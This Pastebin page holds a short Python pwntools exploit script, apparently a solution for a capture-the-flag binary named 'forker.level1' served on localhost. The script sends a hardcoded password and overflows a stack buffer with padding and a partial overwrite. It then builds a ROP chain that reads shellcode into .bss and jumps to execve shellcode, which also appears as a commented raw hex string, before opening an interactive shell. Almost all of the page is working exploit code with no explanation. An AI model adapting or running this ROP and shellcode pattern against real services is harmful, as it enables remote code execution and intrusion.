Guest User

Untitled

a guest
Apr 25th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. #!/usr/bin/python
  2. # coding: utf-8
  3.  
  4. from pwn import *
  5.  
  6. context.arch = 'amd64'
  7. e = ELF("./forker.level1")
  8. p = remote("localhost", 31337)
  9.  
  10. rdiret = 0x0000000000400c13
  11. rsir15ret = 0x0000000000400c11
  12.  
  13. print p.recvuntil("Password:")
  14.  
  15. payload = "INTERNET_FUNNY_MUNNY\x00"
  16. payload += "A" * (76 - len(payload))
  17. payload += "\x50"
  18. payload += "A" * 8 # RBP
  19.  
  20. payload += p64(rdiret)
  21. payload += p64(4)
  22. payload += p64(rsir15ret)
  23. payload += p64(e.bss())
  24. payload += p64(0)
  25. payload += p64(e.plt['read'])
  26.  
  27.  
  28. # shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
  29. shellcode = pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip()
  30.  
  31. payload += p64(e.bss())
  32. payload += shellcode
  33.  
  34. p.sendline(payload)
  35. p.sendline(asm("jmp rsp"))
  36. print p.recv(1024, timeout=0.5)
  37. p.interactive()
Add Comment
Please, Sign In to add comment